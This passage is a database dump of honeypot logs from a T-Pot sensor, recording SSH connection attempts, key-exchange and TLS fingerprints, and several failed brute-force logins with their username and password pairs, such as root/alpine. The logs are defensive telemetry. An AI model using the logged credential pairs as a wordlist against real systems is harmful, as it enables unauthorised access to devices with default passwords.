56,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23939	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:20.544359+03	2021-09-20 14:15:08.14847+03	{"_id": "oAbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [belkinstyle/72ca06] failed", "session": "71345146d39d", "@version": "1", "password": "72ca06", "username": "belkinstyle", "timestamp": "2021-09-20T11:08:20.544359Z", "@timestamp": "2021-09-20T11:08:20.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23940	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:20.727961+03	2021-09-20 14:15:08.15047+03	{"_id": "oQbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "97dff7981ffd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:20.727961Z", "@timestamp": "2021-09-20T11:08:20.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23953	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:23.305153+03	2021-09-20 14:15:08.168471+03	{"_id": "0QbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54048 (192.168.176.2:22) [session: 2803c0f1e2f5]", "session": "2803c0f1e2f5", "@version": "1", "protocol": "ssh", "src_port": 54048, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.305153Z", "@timestamp": "2021-09-20T11:08:23.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23941	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:20.955025+03	2021-09-20 14:15:08.15147+03	{"_id": "ogbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "97dff7981ffd", "@version": "1", "timestamp": "2021-09-20T11:08:20.955025Z", "@timestamp": "2021-09-20T11:08:20.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23942	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:21.137412+03	2021-09-20 14:15:08.153471+03	{"_id": "owbkAnwBvYTbRNuEfhBi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/alpine] failed", "session": "fa72da21487b", "@version": "1", "password": "alpine", "username": "root", "timestamp": "2021-09-20T11:08:21.137412Z", "@timestamp": "2021-09-20T11:08:21.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23943	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:08:21.927562+03	2021-09-20 14:15:08.15447+03	{"_id": "pAbkAnwBvYTbRNuEgBDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16476, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1580753781860170, "@version": "1", "in_iface": "enp5s0", "src_port": 35629, "dest_port": 53, "timestamp": "2021-09-20T11:08:21.927562Z", "@timestamp": "2021-09-20T11:08:21.927Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23944	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:21.493011+03	2021-09-20 14:15:08.15647+03	{"_id": "tQbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/7ujMko0admin] failed", "session": "da2c9fe35ec9", "@version": "1", "password": "7ujMko0admin", "username": "admin", "timestamp": "2021-09-20T11:08:21.493011Z", "@timestamp": "2021-09-20T11:08:21.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23945	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:21.391225+03	2021-09-20 14:15:08.157471+03	{"_id": "rwbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [user1/support] failed", "session": "8acc74391e84", "@version": "1", "password": "support", "username": "user1", "timestamp": "2021-09-20T11:08:21.391225Z", "@timestamp": "2021-09-20T11:08:21.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23946	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:08:22.023714+03	2021-09-20 14:15:08.158471+03	{"_id": "yAbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34818, "timestamp": "2021-09-20T11:08:22.023714", "@timestamp": "2021-09-20T11:08:22.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23947	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:22.311507+03	2021-09-20 14:15:08.16047+03	{"_id": "zAbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56406, "timestamp": "2021-09-20T11:08:22.311507", "@timestamp": "2021-09-20T11:08:22.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23948	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:22.519688+03	2021-09-20 14:15:08.16147+03	{"_id": "ywbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42196, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.519688", "@timestamp": "2021-09-20T11:08:22.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23949	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:22.300166+03	2021-09-20 14:15:08.162471+03	{"_id": "zQbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42136, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.300166", "@timestamp": "2021-09-20T11:08:22.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23950	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:22.773883+03	2021-09-20 14:15:08.164471+03	{"_id": "zgbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34820, "dest_port": 443, "timestamp": "2021-09-20T11:08:22.773883", "@timestamp": "2021-09-20T11:08:22.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
